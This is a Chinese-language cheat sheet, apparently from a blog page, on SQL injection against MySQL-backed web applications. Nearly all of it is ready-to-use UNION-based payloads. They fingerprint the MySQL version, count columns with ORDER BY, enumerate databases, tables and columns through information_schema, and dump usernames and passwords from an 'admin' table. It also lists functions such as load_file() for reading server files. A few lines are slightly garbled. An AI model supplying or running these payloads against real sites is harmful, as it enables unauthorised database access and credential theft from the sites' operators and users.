SQL注入--MySql

判斷是否爲Mysql

/*!%20s*/ 錯誤則是MySQL
/*!40000%20s*/ 錯誤則版本大於4.0 (大於4.0支持UNION注入)
/*!60000%20s*/ 正常則版本小於6.0
/*!50130%20s*/ 錯誤則版本是5.1.30


通過聯合查詢注入的注入方法,查詢information_schema(信息數據庫),保存着關於Mysql服務器維護的所有其他的數據庫的信息

如:數據庫名字,表名,數據類型,訪問權限等。

1.判斷數據庫字段長度

id=1/**/Order/**/By/**/10/**/-- 正常則字段數>10
id=1/**/Order/**/By/**/12/**/--
錯誤則字段數<12

2.枚舉數據庫名字

And 1=2 Union Select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
And 1=2 Union Select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,2..........

3.判斷數據類型

d=1/**/union/**/all/**/select/**/NULL,NULL 正常

d=1/**/union/**/all/**/select/**/NULL,‘xx’-- 正常

4.當前數據庫名字

and 1=2 union select 1,database()--,null,null---

5.查表名字

and 1=2 union select 1,group_concat(table_name) from information_schema.tables wheretable_schema=0x7068707a72--
table_schema
=後面是庫名的 16 進制

6.查段名字

and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where table_name=0x61646d696e and table_schema=0x7068707a72 limit 0,1--

0x61646d696e 表名 admin
0x7068707a72 庫名 ph

and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where table_name=0x61646d696e and table_schema=0x7068707a72 l limit 1,2--

7.查字段內容

and 1=2 union select 1,concat(id,0x3c62723e,username,0x3c62723e,password) from admin--
admin 表中查詢字段名爲 idusernamepassword 值的記錄

and 1=2 union select 1,concat(id,0x3c62723e,username,0x3c62723e,password) from admin where id=1--
admin 表中查詢 id 字段內容爲 1 的行, username password 的字段值。

8.查看數據庫基本信息

and 1=2 union select 1,database(),version(),user()

current_user() 當前用戶名
version() MySQL 數據庫版本
system_user() 系統用戶名
user() 用戶名
session_user() 連接數據庫的用戶名
database() 數據庫名
load_file() MySQL 讀文件(root 權限)
@@datadir MySQL
庫文件路徑
@@basedir MySQL 安裝路徑
@@version_compile_os 操作系統






發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章